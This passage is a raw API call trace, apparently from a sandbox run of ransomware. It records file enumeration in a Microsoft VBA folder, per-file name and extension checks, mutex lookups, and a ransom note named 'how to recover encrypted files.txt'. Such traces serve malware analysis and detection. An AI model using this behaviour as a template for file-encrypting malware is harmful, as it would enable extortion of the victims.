cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0055.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VBA\\VBA7\\1033\\VBE7INTL.DLL", lpUsedDefaultChar=0x0) returned 4 [0055.322] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0055.322] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.322] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.322] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.322] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.322] GlobalUnlock (hMem=0x440004) returned 0 [0055.322] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.323] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.323] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.323] GlobalUnlock (hMem=0x440004) returned 0 [0055.323] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.323] GlobalUnlock (hMem=0x44000c) returned 0 [0055.323] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.323] CharLowerBuffW (in: lpsz="VBENDF98.CHM", cchLength=0xc | out: lpsz="vbendf98.chm") returned 0xc [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", cchWideChar=73, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpUsedDefaultChar=0x0) returned 73 [0055.324] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\VBENDF98.CHM", lpUsedDefaultChar=0x0) returned 4 [0055.324] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0055.324] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.324] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.324] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.324] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.324] GlobalUnlock (hMem=0x44000c) returned 0 [0055.324] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.324] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.324] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.324] GlobalUnlock (hMem=0x44000c) returned 0 [0055.324] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.324] GlobalUnlock (hMem=0x440004) returned 0 [0055.324] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.324] CharLowerBuffW (in: lpsz="VBHW6.CHM", cchLength=0x9 | out: lpsz="vbhw6.chm") returned 0x9 [0055.324] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.325] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM", cchWideChar=70, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHMc", lpUsedDefaultChar=0x0) returned 70 [0055.325] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.325] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\VBHW6.CHMc", lpUsedDefaultChar=0x0) returned 4 [0055.325] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0055.325] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.325] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.325] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.325] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.325] GlobalUnlock (hMem=0x440004) returned 0 [0055.325] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.325] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.325] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.325] GlobalUnlock (hMem=0x440004) returned 0 [0055.326] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.326] GlobalUnlock (hMem=0x44000c) returned 0 [0055.326] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.326] CharLowerBuffW (in: lpsz="VBLR6.CHM", cchLength=0x9 | out: lpsz="vblr6.chm") returned 0x9 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.326] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", cchWideChar=70, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHMc", lpUsedDefaultChar=0x0) returned 70 [0055.326] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.326] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\VBLR6.CHMc", lpUsedDefaultChar=0x0) returned 4 [0055.326] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.327] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.327] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.327] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.327] GlobalUnlock (hMem=0x44000c) returned 0 [0055.327] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.327] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.327] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.327] GlobalUnlock (hMem=0x44000c) returned 0 [0055.327] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.327] GlobalUnlock (hMem=0x440004) returned 0 [0055.327] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.327] CharLowerBuffW (in: lpsz="VBOB6.CHM", cchLength=0x9 | out: lpsz="vbob6.chm") returned 0x9 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.327] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.327] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.327] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\VBOB6.CHMc", lpUsedDefaultChar=0x0) returned 4 [0055.327] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0055.327] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0055.328] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.328] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.328] GlobalUnlock (hMem=0x440004) returned 0 [0055.328] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.328] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.328] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.328] GlobalUnlock (hMem=0x440004) returned 0 [0055.328] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.328] GlobalUnlock (hMem=0x44000c) returned 0 [0055.328] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.328] CharLowerBuffW (in: lpsz="VBUI6.CHM", cchLength=0x9 | out: lpsz="vbui6.chm") returned 0x9 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0055.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0055.328] CharLowerBuffW (in: lpsz=".CHM", cchLength=0x4 | out: lpsz=".chm") returned 0x4 [0055.328] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".chm", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".chmShared\\VBA\\VBA7\\1033\\VBUI6.CHMc", lpUsedDefaultChar=0x0) returned 4 [0055.328] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.329] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.329] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.329] GlobalUnlock (hMem=0x44000c) returned 0 [0055.329] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.329] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.329] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.329] GlobalUnlock (hMem=0x44000c) returned 0 [0055.330] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.330] GlobalUnlock (hMem=0x440004) returned 0 [0055.330] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, 